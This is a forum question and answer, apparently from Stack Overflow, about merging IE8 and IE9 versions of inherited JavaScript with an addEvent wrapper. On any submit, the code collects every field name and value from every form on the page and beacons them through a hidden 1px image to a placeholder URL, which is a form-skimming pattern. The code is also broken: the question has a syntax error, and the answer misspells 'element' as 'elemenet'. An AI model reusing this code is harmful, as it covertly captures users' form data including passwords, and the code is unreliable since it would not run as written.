0

This is what i found from my predecessor and the code has stopped working so it's my job to fix it or at least patch it up.

Simply I'd like to condense this into a smaller function that detects which event listener to use.

//EI 9

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {
    
         
    // alert(formsCollection[i].name);
    formsCollection[i].addEventListener('submit', function() {
       //working fine 
            
            var formsCollection1 = document.getElementsByTagName("form");
            
            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);
      

  
 
        
        
//end mid           
        }, false);
    }

  
function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "URL" POST);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);


    
    
    
}

//IE8

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {
    
         
    // alert(formsCollection[i].name);
    formsCollection[i].attachEvent('onsubmit', function() {
       //working fine 
            
            var formsCollection1 = document.getElementsByTagName("form");
            
            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);
      

  
 
        
        
//end mid           
        }, false);
    }

  
function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "URL POST");
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);


    
    
    
}
Brian Tompsett - 汤莱恩
  • 5,753
  • 72
  • 57
  • 129

1 Answers1

0

If you use this wrapper

function addEvent(element,theEvent,handler) {
  if(element.addEventListener) elemenet.addEventListener(theEvent,handler);
  else if(element.attachEvent) elemenet.attachEvent("on"+theEvent,handler);
}

You can use in both cases

addEvent(formsCollection[i],'submit', function() { ... });
Jan Turoň
  • 31,451
  • 23
  • 125
  • 169